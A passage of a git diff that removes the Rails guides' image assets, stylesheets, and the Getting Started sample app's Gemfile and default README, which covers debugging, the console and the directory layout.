--- a/railties/guides/assets/images/customized_error_messages.png
+++ /dev/null
diff --git a/railties/guides/assets/images/edge_badge.png b/railties/guides/assets/images/edge_badge.png
deleted file mode 100644
index cddd46c4b8..0000000000
--- a/railties/guides/assets/images/edge_badge.png
+++ /dev/null
diff --git a/railties/guides/assets/images/error_messages.png b/railties/guides/assets/images/error_messages.png
deleted file mode 100644
index 428892194a..0000000000
--- a/railties/guides/assets/images/error_messages.png
+++ /dev/null
diff --git a/railties/guides/assets/images/grey_bullet.gif b/railties/guides/assets/images/grey_bullet.gif
deleted file mode 100644
index e75e8e93a1..0000000000
--- a/railties/guides/assets/images/grey_bullet.gif
+++ /dev/null
diff --git a/railties/guides/assets/images/habtm.png b/railties/guides/assets/images/habtm.png
deleted file mode 100644
index fea78b0b5c..0000000000
--- a/railties/guides/assets/images/habtm.png
+++ /dev/null
diff --git a/railties/guides/assets/images/has_many.png b/railties/guides/assets/images/has_many.png
deleted file mode 100644
index 6cff58460d..0000000000
--- a/railties/guides/assets/images/has_many.png
+++ /dev/null
diff --git a/railties/guides/assets/images/has_many_through.png b/railties/guides/assets/images/has_many_through.png
deleted file mode 100644
index 85d7599925..0000000000
--- a/railties/guides/assets/images/has_many_through.png
+++ /dev/null
diff --git a/railties/guides/assets/images/has_one.png b/railties/guides/assets/images/has_one.png
deleted file mode 100644
index a70ddaaa86..0000000000
--- a/railties/guides/assets/images/has_one.png
+++ /dev/null
diff --git a/railties/guides/assets/images/has_one_through.png b/railties/guides/assets/images/has_one_through.png
deleted file mode 100644
index 89a7617a30..0000000000
--- a/railties/guides/assets/images/has_one_through.png
+++ /dev/null
diff --git a/railties/guides/assets/images/header_backdrop.png b/railties/guides/assets/images/header_backdrop.png
deleted file mode 100644
index ff2982175e..0000000000
--- a/railties/guides/assets/images/header_backdrop.png
+++ /dev/null
diff --git a/railties/guides/assets/images/i18n/demo_html_safe.png b/railties/guides/assets/images/i18n/demo_html_safe.png
deleted file mode 100644
index f881f60dac..0000000000
--- a/railties/guides/assets/images/i18n/demo_html_safe.png
+++ /dev/null
diff --git a/railties/guides/assets/images/i18n/demo_localized_pirate.png b/railties/guides/assets/images/i18n/demo_localized_pirate.png
deleted file mode 100644
index 9134709573..0000000000
--- a/railties/guides/assets/images/i18n/demo_localized_pirate.png
+++ /dev/null
diff --git a/railties/guides/assets/images/i18n/demo_translated_en.png b/railties/guides/assets/images/i18n/demo_translated_en.png
deleted file mode 100644
index ecdd878d38..0000000000
--- a/railties/guides/assets/images/i18n/demo_translated_en.png
+++ /dev/null
diff --git a/railties/guides/assets/images/i18n/demo_translated_pirate.png b/railties/guides/assets/images/i18n/demo_translated_pirate.png
deleted file mode 100644
index 41c580923a..0000000000
--- a/railties/guides/assets/images/i18n/demo_translated_pirate.png
+++ /dev/null
diff --git a/railties/guides/assets/images/i18n/demo_translation_missing.png b/railties/guides/assets/images/i18n/demo_translation_missing.png
deleted file mode 100644
index af9e2d0427..0000000000
--- a/railties/guides/assets/images/i18n/demo_translation_missing.png
+++ /dev/null
diff --git a/railties/guides/assets/images/i18n/demo_untranslated.png b/railties/guides/assets/images/i18n/demo_untranslated.png
deleted file mode 100644
index 3603f43463..0000000000
--- a/railties/guides/assets/images/i18n/demo_untranslated.png
+++ /dev/null
diff --git a/railties/guides/assets/images/icons/callouts/1.png b/railties/guides/assets/images/icons/callouts/1.png
deleted file mode 100644
index 7d473430b7..0000000000
--- a/railties/guides/assets/images/icons/callouts/1.png
+++ /dev/null
diff --git a/railties/guides/assets/images/icons/callouts/10.png b/railties/guides/assets/images/icons/callouts/10.png
deleted file mode 100644
index 997bbc8246..0000000000
--- a/railties/guides/assets/images/icons/callouts/10.png
+++ /dev/null
diff --git a/railties/guides/assets/images/icons/callouts/11.png b/railties/guides/assets/images/icons/callouts/11.png
deleted file mode 100644
index ce47dac3f5..0000000000
--- a/railties/guides/assets/images/icons/callouts/11.png
+++ /dev/null
diff --git a/railties/guides/assets/images/icons/callouts/12.png b/railties/guides/assets/images/icons/callouts/12.png
deleted file mode 100644
index 31daf4e2f2..0000000000
--- a/railties/guides/assets/images/icons/callouts/12.png
+++ /dev/null
diff --git a/railties/guides/assets/images/icons/callouts/13.png b/railties/guides/assets/images/icons/callouts/13.png
deleted file mode 100644
index 14021a89c2..0000000000
--- a/railties/guides/assets/images/icons/callouts/13.png
+++ /dev/null
diff --git a/railties/guides/assets/images/icons/callouts/14.png b/railties/guides/assets/images/icons/callouts/14.png
deleted file mode 100644
index 64014b75fe..0000000000
--- a/railties/guides/assets/images/icons/callouts/14.png
+++ /dev/null
diff --git a/railties/guides/assets/images/icons/callouts/15.png b/railties/guides/assets/images/icons/callouts/15.png
deleted file mode 100644
index 0d65765fcf..0000000000
--- a/railties/guides/assets/images/icons/callouts/15.png
+++ /dev/null
diff --git a/railties/guides/assets/images/icons/callouts/2.png b/railties/guides/assets/images/icons/callouts/2.png
deleted file mode 100644
index 5d09341b2f..0000000000
--- a/railties/guides/assets/images/icons/callouts/2.png
+++ /dev/null
diff --git a/railties/guides/assets/images/icons/callouts/3.png b/railties/guides/assets/images/icons/callouts/3.png
deleted file mode 100644
index ef7b700471..0000000000
--- a/railties/guides/assets/images/icons/callouts/3.png
+++ /dev/null
diff --git a/railties/guides/assets/images/icons/callouts/4.png b/railties/guides/assets/images/icons/callouts/4.png
deleted file mode 100644
index adb8364eb5..0000000000
--- a/railties/guides/assets/images/icons/callouts/4.png
+++ /dev/null
diff --git a/railties/guides/assets/images/icons/callouts/5.png b/railties/guides/assets/images/icons/callouts/5.png
deleted file mode 100644
index 4d7eb46002..0000000000
--- a/railties/guides/assets/images/icons/callouts/5.png
+++ /dev/null
diff --git a/railties/guides/assets/images/icons/callouts/6.png b/railties/guides/assets/images/icons/callouts/6.png
deleted file mode 100644
index 0ba694af6c..0000000000
--- a/railties/guides/assets/images/icons/callouts/6.png
+++ /dev/null
diff --git a/railties/guides/assets/images/icons/callouts/7.png b/railties/guides/assets/images/icons/callouts/7.png
deleted file mode 100644
index 472e96f8ac..0000000000
--- a/railties/guides/assets/images/icons/callouts/7.png
+++ /dev/null
diff --git a/railties/guides/assets/images/icons/callouts/8.png b/railties/guides/assets/images/icons/callouts/8.png
deleted file mode 100644
index 5e60973c21..0000000000
--- a/railties/guides/assets/images/icons/callouts/8.png
+++ /dev/null
diff --git a/railties/guides/assets/images/icons/callouts/9.png b/railties/guides/assets/images/icons/callouts/9.png
deleted file mode 100644
index a0676d26cc..0000000000
--- a/railties/guides/assets/images/icons/callouts/9.png
+++ /dev/null
diff --git a/railties/guides/assets/images/icons/caution.png b/railties/guides/assets/images/icons/caution.png
deleted file mode 100644
index cb9d5ea0df..0000000000
--- a/railties/guides/assets/images/icons/caution.png
+++ /dev/null
diff --git a/railties/guides/assets/images/icons/example.png b/railties/guides/assets/images/icons/example.png
deleted file mode 100644
index bba1c0010d..0000000000
--- a/railties/guides/assets/images/icons/example.png
+++ /dev/null
diff --git a/railties/guides/assets/images/icons/home.png b/railties/guides/assets/images/icons/home.png
deleted file mode 100644
index 37a5231bac..0000000000
--- a/railties/guides/assets/images/icons/home.png
+++ /dev/null
diff --git a/railties/guides/assets/images/icons/important.png b/railties/guides/assets/images/icons/important.png
deleted file mode 100644
index 1096c23295..0000000000
--- a/railties/guides/assets/images/icons/important.png
+++ /dev/null
diff --git a/railties/guides/assets/images/icons/next.png b/railties/guides/assets/images/icons/next.png
deleted file mode 100644
index 64e126bdda..0000000000
--- a/railties/guides/assets/images/icons/next.png
+++ /dev/null
diff --git a/railties/guides/assets/images/icons/note.png b/railties/guides/assets/images/icons/note.png
deleted file mode 100644
index 841820f7c4..0000000000
--- a/railties/guides/assets/images/icons/note.png
+++ /dev/null
diff --git a/railties/guides/assets/images/icons/prev.png b/railties/guides/assets/images/icons/prev.png
deleted file mode 100644
index 3e8f12fe24..0000000000
--- a/railties/guides/assets/images/icons/prev.png
+++ /dev/null
diff --git a/railties/guides/assets/images/icons/tip.png b/railties/guides/assets/images/icons/tip.png
deleted file mode 100644
index a3a029d898..0000000000
--- a/railties/guides/assets/images/icons/tip.png
+++ /dev/null
diff --git a/railties/guides/assets/images/icons/up.png b/railties/guides/assets/images/icons/up.png
deleted file mode 100644
index 2db1ce62fa..0000000000
--- a/railties/guides/assets/images/icons/up.png
+++ /dev/null
diff --git a/railties/guides/assets/images/icons/warning.png b/railties/guides/assets/images/icons/warning.png
deleted file mode 100644
index 0b0c419df2..0000000000
--- a/railties/guides/assets/images/icons/warning.png
+++ /dev/null
diff --git a/railties/guides/assets/images/nav_arrow.gif b/railties/guides/assets/images/nav_arrow.gif
deleted file mode 100644
index c4f57658d7..0000000000
--- a/railties/guides/assets/images/nav_arrow.gif
+++ /dev/null
diff --git a/railties/guides/assets/images/polymorphic.png b/railties/guides/assets/images/polymorphic.png
deleted file mode 100644
index ff2fd9f76d..0000000000
--- a/railties/guides/assets/images/polymorphic.png
+++ /dev/null
diff --git a/railties/guides/assets/images/posts_index.png b/railties/guides/assets/images/posts_index.png
deleted file mode 100644
index f6cd2f9b80..0000000000
--- a/railties/guides/assets/images/posts_index.png
+++ /dev/null
diff --git a/railties/guides/assets/images/rails_guides_logo.gif b/railties/guides/assets/images/rails_guides_logo.gif
deleted file mode 100644
index a24683a34e..0000000000
--- a/railties/guides/assets/images/rails_guides_logo.gif
+++ /dev/null
diff --git a/railties/guides/assets/images/rails_welcome.png b/railties/guides/assets/images/rails_welcome.png
deleted file mode 100644
index f2aa210d19..0000000000
--- a/railties/guides/assets/images/rails_welcome.png
+++ /dev/null
diff --git a/railties/guides/assets/images/session_fixation.png b/railties/guides/assets/images/session_fixation.png
deleted file mode 100644
index 6b084508db..0000000000
--- a/railties/guides/assets/images/session_fixation.png
+++ /dev/null
diff --git a/railties/guides/assets/images/tab_grey.gif b/railties/guides/assets/images/tab_grey.gif
deleted file mode 100644
index e9680b7136..0000000000
--- a/railties/guides/assets/images/tab_grey.gif
+++ /dev/null
diff --git a/railties/guides/assets/images/tab_info.gif b/railties/guides/assets/images/tab_info.gif
deleted file mode 100644
index 458fea9a61..0000000000
--- a/railties/guides/assets/images/tab_info.gif
+++ /dev/null
diff --git a/railties/guides/assets/images/tab_note.gif b/railties/guides/assets/images/tab_note.gif
deleted file mode 100644
index 1d5c171ed6..0000000000
--- a/railties/guides/assets/images/tab_note.gif
+++ /dev/null
diff --git a/railties/guides/assets/images/tab_red.gif b/railties/guides/assets/images/tab_red.gif
deleted file mode 100644
index daf140b5a8..0000000000
--- a/railties/guides/assets/images/tab_red.gif
+++ /dev/null
diff --git a/railties/guides/assets/images/tab_yellow.gif b/railties/guides/assets/images/tab_yellow.gif
deleted file mode 100644
index dc961c99dd..0000000000
--- a/railties/guides/assets/images/tab_yellow.gif
+++ /dev/null
diff --git a/railties/guides/assets/images/tab_yellow.png b/railties/guides/assets/images/tab_yellow.png
deleted file mode 100644
index cceea6581f..0000000000
--- a/railties/guides/assets/images/tab_yellow.png
+++ /dev/null
diff --git a/railties/guides/assets/images/validation_error_messages.png b/railties/guides/assets/images/validation_error_messages.png
deleted file mode 100644
index 622d35da5d..0000000000
--- a/railties/guides/assets/images/validation_error_messages.png
+++ /dev/null
diff --git a/railties/guides/assets/stylesheets/fixes.css b/railties/guides/assets/stylesheets/fixes.css
deleted file mode 100644
index 54efa5b9b7..0000000000
--- a/railties/guides/assets/stylesheets/fixes.css
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
-  Fix a rendering issue affecting WebKits on Mac.
-  See https://github.com/lifo/docrails/issues#issue/16 for more information.
-*/
-.syntaxhighlighter a,
-.syntaxhighlighter div,
-.syntaxhighlighter code,
-.syntaxhighlighter table,
-.syntaxhighlighter table td,
-.syntaxhighlighter table tr,
-.syntaxhighlighter table tbody,
-.syntaxhighlighter table thead,
-.syntaxhighlighter table caption,
-.syntaxhighlighter textarea {
-  line-height: 1.2em !important;
-}
diff --git a/railties/guides/assets/stylesheets/main.css b/railties/guides/assets/stylesheets/main.css
deleted file mode 100644
index cf6e9e5cc8..0000000000
--- a/railties/guides/assets/stylesheets/main.css
+++ /dev/null
@@ -1,445 +0,0 @@
-/* Guides.rubyonrails.org */
-/* Main.css */
-/* Created January 30, 2009 */
-/* Modified February 8, 2009
---------------------------------------- */
-
-/* General
---------------------------------------- */
-
-.left {float: left; margin-right: 1em;}
-.right {float: right; margin-left: 1em;}
-.small {font-size: smaller;}
-.large {font-size: larger;}
-.hide {display: none;}
-
-li ul, li ol { margin:0 1.5em; }
-ul, ol { margin: 0 1.5em 1.5em 1.5em; }
-
-ul { list-style-type: disc; }
-ol { list-style-type: decimal; }
-
-dl { margin: 0 0 1.5em 0; }
-dl dt { font-weight: bold; }
-dd { margin-left: 1.5em;}
-
-pre,code { margin: 1.5em 0; overflow: auto; color: #222;}
-pre,code,tt {
-    font-size: 1em;
-    font-family: "Anonymous Pro", "Inconsolata", "Menlo", "Consolas", "Bitstream Vera Sans Mono", "Courier New", monospace;
-    line-height: 1.5;
-}
-
-abbr, acronym { border-bottom: 1px dotted #666; }
-address { margin: 0 0 1.5em; font-style: italic; }
-del { color:#666; }
-
-blockquote { margin: 1.5em; color: #666; font-style: italic; }
-strong { font-weight: bold; }
-em, dfn { font-style: italic; }
-dfn { font-weight: bold; }
-sup, sub { line-height: 0; }
-p {margin: 0 0 1.5em;}
-
-label { font-weight: bold; }
-fieldset { padding:1.4em; margin: 0 0 1.5em 0; border: 1px solid #ccc; }
-legend { font-weight: bold; font-size:1.2em; }
-
-input.text, input.title,
-textarea, select {
-  margin:0.5em 0;
-  border:1px solid #bbb;
-}
-
-table {
-	margin: 0 0 1.5em;
-	border: 2px solid #CCC;
-	background: #FFF;
-	border-collapse: collapse;
-}
-
-table th, table td {
-	padding: 0.25em 1em;
-	border: 1px solid #CCC;
-	border-collapse: collapse;
-}
-
-table th {
-	border-bottom: 2px solid #CCC;
-	background: #EEE;
-	font-weight: bold;
-	padding: 0.5em 1em;
-}
-
-
-/* Structure and Layout
---------------------------------------- */
-
-body {
-	text-align: center;
-	font-family: Helvetica, Arial, sans-serif;
-	font-size: 87.5%;
-	line-height: 1.5em;
-	background: #222;
-	color: #999;
-	}
-
-.wrapper {
-	text-align: left;
-	margin: 0 auto;
-	width: 69em;
-	}
-
-#topNav {
-	padding: 1em 0;
-	color: #565656;
-}
-
-#header {
-	background: #c52f24 url(../images/header_tile.gif) repeat-x;
-	color: #FFF;
-	padding: 1.5em 0;
-	position: relative;
-	z-index: 99;
-	}
-
-#feature {
-	background: #d5e9f6 url(../images/feature_tile.gif) repeat-x;
-	color: #333;
-	padding: 0.5em 0 1.5em;
-}
-
-#container {
-	background: #FFF;
-	color: #333;
-	padding: 0.5em 0 1.5em 0;
-	}
-
-#mainCol {
-	width: 45em;
-	margin-left: 2em;
-	}
-
-#subCol {
-	position: absolute;
-	z-index: 0;
-	top: 0;
-	right: 0;
-	background: #FFF;
-	padding: 1em 1.5em 1em 1.25em;
-	width: 17em;
-	font-size: 0.9285em;
-	line-height: 1.3846em;
-	}
-
-#extraCol {display: none;}
-
-#footer {
-	padding: 2em 0;
-	background: url(../images/footer_tile.gif) repeat-x;
-	}
-#footer .wrapper {
-	padding-left: 2em;
-	width: 67em;
-}
-
-#header .wrapper, #topNav .wrapper, #feature .wrapper {padding-left: 1em; width: 68em;}
-#feature .wrapper {width: 45em; padding-right: 23em; position: relative; z-index: 0;}
-
-/* Links
---------------------------------------- */
-
-a, a:link, a:visited {
-	color: #ee3f3f;
-	text-decoration: underline;
-	}
-
-#mainCol a, #subCol a, #feature a {color: #980905;}
-
-
-/* Navigation
---------------------------------------- */
-
-.nav {margin: 0; padding: 0;}
-.nav li {display: inline; list-style: none;}
-
-#header .nav {
-	float: right;
-	margin-top: 1.5em;
-	font-size: 1.2857em;
-}
-
-#header .nav li {margin: 0 0 0 0.5em;}
-#header .nav a {color: #FFF; text-decoration: none;}
-#header .nav a:hover {text-decoration: underline;}
-
-#header .nav .index {
-	padding: 0.5em 1.5em;
-	border-radius: 1em;
-	-webkit-border-radius: 1em;
-	-moz-border-radius: 1em;
-	background: #980905;
-	position: relative;
-}
-
-#header .nav .index a {
-	background: #980905 url(../images/nav_arrow.gif) no-repeat right top;
-	padding-right: 1em;
-	position: relative;
-	z-index: 15;
-	padding-bottom: 0.125em;
-}
-#header .nav .index:hover a, #header .nav .index a:hover {background-position: right -81px;}
-
-#guides {
-	width: 27em;
-	display: block;
-	background: #980905;
-	border-radius: 1em;
-	-webkit-border-radius: 1em;
-	-moz-border-radius: 1em;
-	-webkit-box-shadow: 0.25em 0.25em 1em rgba(0,0,0,0.25);
-	-moz-box-shadow: rgba(0,0,0,0.25) 0.25em 0.25em 1em;
-	color: #f1938c;
-	padding: 1.5em 2em;
-	position: absolute;
-	z-index: 10;
-	top: -0.25em;
-	right: 0;
-	padding-top: 2em;
-}
-
-#guides dt, #guides dd {
-	font-weight: normal;
-	font-size: 0.722em;
-	margin: 0;
-	padding: 0;
-}
-#guides dt {padding:0; margin: 0.5em 0 0;}
-#guides a {color: #FFF; background: none !important;}
-#guides .L, #guides .R {float: left; width: 50%; margin: 0; padding: 0;}
-#guides .R {float: right;}
-#guides hr {
-	display: block;
-	border: none;
-	height: 1px;
-	color: #f1938c;
-	background: #f1938c;
-}
-
-/* Headings
---------------------------------------- */
-
-h1 {
-	font-size: 2.5em;
-	line-height: 1em;
-	margin: 0.6em 0 .2em;
-	font-weight: bold;
-	}
-
-h2 {
-	font-size: 2.1428em;
-	line-height: 1em;
-	margin: 0.7em 0 .2333em;
-	font-weight: bold;
-	}
-
-h3 {
-	font-size: 1.7142em;
-	line-height: 1.286em;
-	margin: 0.875em 0 0.2916em;
-	font-weight: bold;
-	}
-
-h4 {
-	font-size: 1.2857em;
-	line-height: 1.2em;
-	margin: 1.6667em 0 .3887em;
-	font-weight: bold;
-	}
-
-h5 {
-	font-size: 1em;
-	line-height: 1.5em;
-	margin: 1em 0 .5em;
-	font-weight: bold;
-}
-
-h6 {
-	font-size: 1em;
-	line-height: 1.5em;
-	margin: 1em 0 .5em;
-	font-weight: normal;
-	}
-
-.section {
-	padding-bottom: 0.25em;
-	border-bottom: 1px solid #999;
-}
-
-/* Content
---------------------------------------- */
-
-.pic {
-	margin: 0 2em 2em 0;
-}
-
-#topNav strong {color: #999; margin-right: 0.5em;}
-#topNav strong a {color: #FFF;}
-
-#header h1 {
-	float: left;
-	background: url(../images/rails_guides_logo.gif) no-repeat;
-	width: 297px;
-	text-indent: -9999em;
-	margin: 0;
-	padding: 0;
-}
-
-#header h1 a {
-	text-decoration: none;
-	display: block;
-	height: 77px;
-}
-
-#feature p {
-	font-size: 1.2857em;
-	margin-bottom: 0.75em;
-}
-
-#feature ul {margin-left: 0;}
-#feature ul li {
-	list-style: none;
-	background: url(../images/check_bullet.gif) no-repeat left 0.5em;
-	padding: 0.5em 1.75em 0.5em 1.75em;
-	font-size: 1.1428em;
-	font-weight: bold;
-}
-
-#mainCol dd, #subCol dd {
-	padding: 0.25em 0 1em;
-	border-bottom: 1px solid #CCC;
-	margin-bottom: 1em;
-	margin-left: 0;
-	/*padding-left: 28px;*/
-	padding-left: 0;
-}
-
-#mainCol dt, #subCol dt {
-	font-size: 1.2857em;
-	padding: 0.125em 0 0.25em 0;
-	margin-bottom: 0;
-	/*background: url(../images/book_icon.gif) no-repeat left top;
-	padding: 0.125em 0 0.25em 28px;*/
-}
-
-#mainCol dd.work-in-progress, #subCol dd.work-in-progress {
-	background: #fff9d8 url(../images/tab_yellow.gif) no-repeat left top;
-	border: none;
-	padding: 1.25em 1em 1.25em 48px;
-	margin-left: 0;
-	margin-top: 0.25em;
-}
-
-#mainCol div.warning, #subCol dd.warning {
-	background: #f9d9d8 url(../images/tab_red.gif) no-repeat left top;
-	border: none;
-	padding: 1.25em 1.25em 1.25em 48px;
-	margin-left: 0;
-	margin-top: 0.25em;
-}
-
-#subCol .chapters {color: #980905;}
-#subCol .chapters a {font-weight: bold;}
-#subCol .chapters ul a {font-weight: normal;}
-#subCol .chapters li {margin-bottom: 0.75em;}
-#subCol h3.chapter {margin-top: 0.25em;}
-#subCol h3.chapter img {vertical-align: text-bottom;}
-#subCol .chapters ul {margin-left: 0; margin-top: 0.5em;}
-#subCol .chapters ul li {
-	list-style: none;
-	padding: 0 0 0 1em;
-	background: url(../images/bullet.gif) no-repeat left 0.45em;
-	margin-left: 0;
-	font-size: 1em;
-	font-weight: normal;
-}
-
-div.code_container {
-	background: #EEE url(../images/tab_grey.gif) no-repeat left top;
-	padding: 0.25em 1em 0.5em 48px;
-}
-
-.note {
-	background: #fff9d8 url(../images/tab_note.gif) no-repeat left top;
-	border: none;
-	padding: 1em 1em 0.25em 48px;
-	margin: 0.25em 0 1.5em 0;
-}
-
-.info {
-	background: #d5e9f6 url(../images/tab_info.gif) no-repeat left top;
-	border: none;
-	padding: 1em 1em 0.25em 48px;
-	margin: 0.25em 0 1.5em 0;
-}
-
-.note tt, .info tt {border:none; background: none; padding: 0;}
-
-#mainCol ul li {
-	list-style:none;
-	background: url(../images/grey_bullet.gif) no-repeat left 0.5em;
-	padding-left: 1em;
-	margin-left: 0;
-}
-
-#subCol .content {
-	font-size: 0.7857em;
-	line-height: 1.5em;
-}
-
-#subCol .content li {
-	font-weight: normal;
-	background: none;
-	padding: 0 0 1em;
-	font-size: 1.1667em;
-}
-
-/* Clearing
---------------------------------------- */
-
-.clearfix:after {
-    content: ".";
-    display: block;
-    height: 0;
-    clear: both;
-    visibility: hidden;
-}
-
-.clearfix {display: inline-block;}
-* html .clearfix {height: 1%;}
-.clearfix {display: block;}
-.clear { clear:both; }
-
-/* Same bottom margin for special boxes than for regular paragraphs, this way
-intermediate whitespace looks uniform. */
-div.code_container, div.important, div.caution, div.warning, div.note, div.info {
-    margin-bottom: 1.5em;
-}
-
-/* Remove bottom margin of paragraphs in special boxes, otherwise they get a
-spurious blank area below with the box background. */
-div.important p, div.caution p, div.warning p, div.note p, div.info p {
-    margin-bottom: 1em;
-}
-
-/* Edge Badge
---------------------------------------- */
-
-#edge-badge {
-  position: fixed;
-  right: 0px;
-  top: 0px;
-  z-index: 100;
-  border: none;
-}
diff --git a/railties/guides/code/getting_started/Gemfile b/railties/guides/code/getting_started/Gemfile
deleted file mode 100644
index 898510dcaa..0000000000
--- a/railties/guides/code/getting_started/Gemfile
+++ /dev/null
@@ -1,27 +0,0 @@
-source 'http://rubygems.org'
-
-gem 'rails', '3.1.0'
-# Bundle edge Rails instead:
-# gem 'rails',     :git => 'git://github.com/rails/rails.git'
-
-gem 'sqlite3'
-
-
-# Gems used only for assets and not required
-# in production environments by default.
-group :assets do
-  gem 'sass-rails', "  ~> 3.1.0"
-  gem 'coffee-rails', "~> 3.1.0"
-  gem 'uglifier'
-end
-
-gem 'jquery-rails'
-
-# Use unicorn as the web server
-# gem 'unicorn'
-
-# Deploy with Capistrano
-# gem 'capistrano'
-
-# To use debugger
-# gem 'ruby-debug19', :require => 'ruby-debug'
diff --git a/railties/guides/code/getting_started/README b/railties/guides/code/getting_started/README
deleted file mode 100644
index 7c36f2356e..0000000000
--- a/railties/guides/code/getting_started/README
+++ /dev/null
@@ -1,261 +0,0 @@
-== Welcome to Rails
-
-Rails is a web-application framework that includes everything needed to create
-database-backed web applications according to the Model-View-Control pattern.
-
-This pattern splits the view (also called the presentation) into "dumb"
-templates that are primarily responsible for inserting pre-built data in between
-HTML tags. The model contains the "smart" domain objects (such as Account,
-Product, Person, Post) that holds all the business logic and knows how to
-persist themselves to a database. The controller handles the incoming requests
-(such as Save New Account, Update Product, Show Post) by manipulating the model
-and directing data to the view.
-
-In Rails, the model is handled by what's called an object-relational mapping
-layer entitled Active Record. This layer allows you to present the data from
-database rows as objects and embellish these data objects with business logic
-methods. You can read more about Active Record in
-link:files/vendor/rails/activerecord/README.html.
-
-The controller and view are handled by the Action Pack, which handles both
-layers by its two parts: Action View and Action Controller. These two layers
-are bundled in a single package due to their heavy interdependence. This is
-unlike the relationship between the Active Record and Action Pack that is much
-more separate. Each of these packages can be used independently outside of
-Rails. You can read more about Action Pack in
-link:files/vendor/rails/actionpack/README.html.
-
-
-== Getting Started
-
-1. At the command prompt, create a new Rails application:
-       <tt>rails new myapp</tt> (where <tt>myapp</tt> is the application name)
-
-2. Change directory to <tt>myapp</tt> and start the web server:
-       <tt>cd myapp; rails server</tt> (run with --help for options)
-
-3. Go to http://localhost:3000/ and you'll see:
-       "Welcome aboard: You're riding Ruby on Rails!"
-
-4. Follow the guidelines to start developing your application. You can find
-the following resources handy:
-
-* The Getting Started Guide: http://guides.rubyonrails.org/getting_started.html
-* Ruby on Rails Tutorial Book: http://www.railstutorial.org/
-
-
-== Debugging Rails
-
-Sometimes your application goes wrong. Fortunately there are a lot of tools that
-will help you debug it and get it back on the rails.
-
-First area to check is the application log files. Have "tail -f" commands
-running on the server.log and development.log. Rails will automatically display
-debugging and runtime information to these files. Debugging info will also be
-shown in the browser on requests from 127.0.0.1.
-
-You can also log your own messages directly into the log file from your code
-using the Ruby logger class from inside your controllers. Example:
-
-  class WeblogController < ActionController::Base
-    def destroy
-      @weblog = Weblog.find(params[:id])
-      @weblog.destroy
-      logger.info("#{Time.now} Destroyed Weblog ID ##{@weblog.id}!")
-    end
-  end
-
-The result will be a message in your log file along the lines of:
-
-  Mon Oct 08 14:22:29 +1000 2007 Destroyed Weblog ID #1!
-
-More information on how to use the logger is at http://www.ruby-doc.org/core/
-
-Also, Ruby documentation can be found at http://www.ruby-lang.org/. There are
-several books available online as well:
-
-* Programming Ruby: http://www.ruby-doc.org/docs/ProgrammingRuby/ (Pickaxe)
-* Learn to Program: http://pine.fm/LearnToProgram/ (a beginners guide)
-
-These two books will bring you up to speed on the Ruby language and also on
-programming in general.
-
-
-== Debugger
-
-Debugger support is available through the debugger command when you start your
-Mongrel or WEBrick server with --debugger. This means that you can break out of
-execution at any point in the code, investigate and change the model, and then,
-resume execution! You need to install ruby-debug to run the server in debugging
-mode. With gems, use <tt>sudo gem install ruby-debug</tt>. Example:
-
-  class WeblogController < ActionController::Base
-    def index
-      @posts = Post.all
-      debugger
-    end
-  end
-
-So the controller will accept the action, run the first line, then present you
-with a IRB prompt in the server window. Here you can do things like:
-
-  >> @posts.inspect
-  => "[#<Post:0x14a6be8
-          @attributes={"title"=>nil, "body"=>nil, "id"=>"1"}>,
-       #<Post:0x14a6620
-          @attributes={"title"=>"Rails", "body"=>"Only ten..", "id"=>"2"}>]"
-  >> @posts.first.title = "hello from a debugger"
-  => "hello from a debugger"
-
-...and even better, you can examine how your runtime objects actually work:
-
-  >> f = @posts.first
-  => #<Post:0x13630c4 @attributes={"title"=>nil, "body"=>nil, "id"=>"1"}>
-  >> f.
-  Display all 152 possibilities? (y or n)
-
-Finally, when you're ready to resume execution, you can enter "cont".
-
-
-== Console
-
-The console is a Ruby shell, which allows you to interact with your
-application's domain model. Here you'll have all parts of the application
-configured, just like it is when the application is running. You can inspect
-domain models, change values, and save to the database. Starting the script
-without arguments will launch it in the development environment.
-
-To start the console, run <tt>rails console</tt> from the application
-directory.
-
-Options:
-
-* Passing the <tt>-s, --sandbox</tt> argument will rollback any modifications
-  made to the database.
-* Passing an environment name as an argument will load the corresponding
-  environment. Example: <tt>rails console production</tt>.
-
-To reload your controllers and models after launching the console run
-<tt>reload!</tt>
-
-More information about irb can be found at:
-link:http://www.rubycentral.org/pickaxe/irb.html
-
-
-== dbconsole
-
-You can go to the command line of your database directly through <tt>rails
-dbconsole</tt>. You would be connected to the database with the credentials
-defined in database.yml. Starting the script without arguments will connect you
-to the development database. Passing an argument will connect you to a different
-database, like <tt>rails dbconsole production</tt>. Currently works for MySQL,
-PostgreSQL and SQLite 3.
-
-== Description of Contents
-
-The default directory structure of a generated Ruby on Rails application:
-
-  |-- app
-  |   |-- assets
-  |       |-- images
-  |       |-- javascripts
-  |       `-- stylesheets
-  |   |-- controllers
-  |   |-- helpers
-  |   |-- mailers
-  |   |-- models
-  |   `-- views
-  |       `-- layouts
-  |-- config
-  |   |-- environments
-  |   |-- initializers
-  |   `-- locales
-  |-- db
-  |-- doc
-  |-- lib
-  |   `-- tasks
-  |-- log
-  |-- public
-  |-- script
-  |-- test
-  |   |-- fixtures
-  |   |-- functional
-  |   |-- integration
-  |   |-- performance
-  |   `-- unit
-  |-- tmp
-  |   |-- cache
-  |   |-- pids
-  |   |-- sessions
-  |   `-- sockets
-  `-- vendor
-      |-- assets
-          `-- stylesheets
-      `-- plugins
-
-app
-  Holds all the code that's specific to this particular application.
-
-app/assets
-  Contains subdirectories for images, stylesheets, and JavaScript files.
-
-app/controllers
-  Holds controllers that should be named like weblogs_controller.rb for
-  automated URL mapping. All controllers should descend from
-  ApplicationController which itself descends from ActionController::Base.
-
-app/models
-  Holds models that should be named like post.rb. Models descend from
-  ActiveRecord::Base by default.
-
-app/views
-  Holds the template files for the view that should be named like
-  weblogs/index.html.erb for the WeblogsController#index action. All views use
-  eRuby syntax by default.
-
-app/views/layouts
-  Holds the template files for layouts to be used with views. This models the
-  common header/footer method of wrapping views. In your views, define a layout
-  using the <tt>layout :default</tt> and create a file named default.html.erb.
-  Inside default.html.erb, call <% yield %> to render the view using this
-  layout.
-
-app/helpers
-  Holds view helpers that should be named like weblogs_helper.rb. These are
-  generated for you automatically when using generators for controllers.
-  Helpers can be used to wrap functionality for your views into methods.
-
-config
-  Configuration files for the Rails environment, the routing map, the database,
-  and other dependencies.
-
-db
-  Contains the database schema in schema.rb. db/migrate contains all the
-  sequence of Migrations for your schema.
-
-doc
-  This directory is where your application documentation will be stored when
-  generated using <tt>rake doc:app</tt>
-
-lib
